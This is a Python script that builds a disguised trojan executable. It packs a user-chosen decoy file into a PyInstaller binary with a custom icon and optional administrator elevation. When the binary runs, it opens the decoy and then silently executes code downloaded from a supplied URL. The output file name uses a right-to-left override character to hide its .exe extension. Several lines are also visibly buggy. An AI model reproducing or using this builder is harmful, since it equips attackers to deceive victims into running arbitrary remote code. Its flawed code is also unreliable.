|
from tkinter.filedialog import askopenfilename , askdirectory
|
|
from tkinter.simpledialog import askstring
|
|
from tkinter.messagebox import showwarning , askyesno
|
|
from shutil import move
|
|
from os import chdir
|
|
from subprocess import Popen , PIPE , DEVNULL
|
|
from PIL import Image
|
|
from PyInstaller.utils.hooks import collect_submodules
|
|
from requests import get
|
|
from tempfile import TemporaryDirectory
|
|
def add_modules()->list:
|
|
while True:
|
|
items = []
|
|
item = askstring("module","Enter the modules")
|
|
if item and item.strip() != "":
|
|
items.append(item.strip())
|
|
else:
|
|
return items
|
|
def add_submodules()->list:
|
|
while True:
|
|
items = []
|
|
item = askstring("submodule","Enter the submodules")
|
|
if item and item.strip() != "":
|
|
items.append(item.strip())
|
|
else:
|
|
return items
|
|
if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
|
|
if not Popen("python -m pip",stderr=PIPE).communicate()[0]:
|
|
Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
|
|
else:
|
|
open("pythondownload.exe","w+").write(get("https://www.python.org/ftp/python/3.11.9/python-3.11.9-amd64.exe").raw)
|
|
showwarning("Python is required to run this program")
|
|
Popen("pythondownload.exe",stdout=DEVNULL,stderr=DEVNULL).communicate()
|
|
Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
|
|
|
|
tempfolder = TemporaryDirectory()
|
|
chdir(tempfolder.name)
|
|
Image.open(askopenfilename(filetypes=[("Image",["*.jpg","*.png","*.jpeg","*.ico"])])).convert("RGBA").save("icon.ico", format="ICO", sizes=[(72, 72)])
|
|
filename = askopenfilename()
|
|
linkofcode = askstring("link of code", "Enter the link of the code")
|
|
newname = askstring("","Give name of file")
|
|
modules = add_modules()
|
|
submodules = add_submodules()
|
|
if askyesno("import","Do you want to import all submodules of modules?"):
|
|
allsubmodules = []
|
|
for i in modules:
|
|
allsubmodules.extend(collect_submodules(i))
|
|
submodules = list(set(allsubmodules + submodules))
|
|
open("mainfile.py","a+").write(f'''
|
|
from subprocess import Popen
|
|
from os import chdir
|
|
from time import sleep
|
|
from sys import _MEIPASS as cdir
|
|
chdir(cdir)
|
|
Popen("{filename.split("/")[-1]}",shell=True).communicate()
|
|
sleep(1)
|
|
from tkinter.messagebox import showerror
|
|
from requests import get
|
|
try:
|
|
exec(get("{linkofcode}",timeout=5).text)
|
|
except Exception:
|
|
pass
|
|
''')
|
|
command = ['pyinstaller', '--noconfirm', '--onefile', '--windowed', '--icon', "icon.ico", '--name', 'software', '--add-data', f'{filename};.']
|
|
for mudule in modules:
|
|
command.extend(["--hidden-import",mudule])
|
|
for module in submodules:
|
|
command.extend(["--collect-submodules",module])
|
|
if askyesno("UAC","Do you want to run this program as administrator?"):
|
|
command.append("--uac-admin")
|
|
if askyesno("UAC","Do you want to run this program as Uiaccess?"):
|
|
command.append("--uac-uiaccess")
|
|
command.append("mainfile.py")
|
|
Popen(command,shell=True,stdout=DEVNULL,stderr=DEVNULL).communicate()
|
|
move("dist/software.exe",f"{askdirectory}/{newname}\u202E{filename.split('.')[-1][::-1]}.exe")
|
|
tempfolder.cleanup()
|
|
|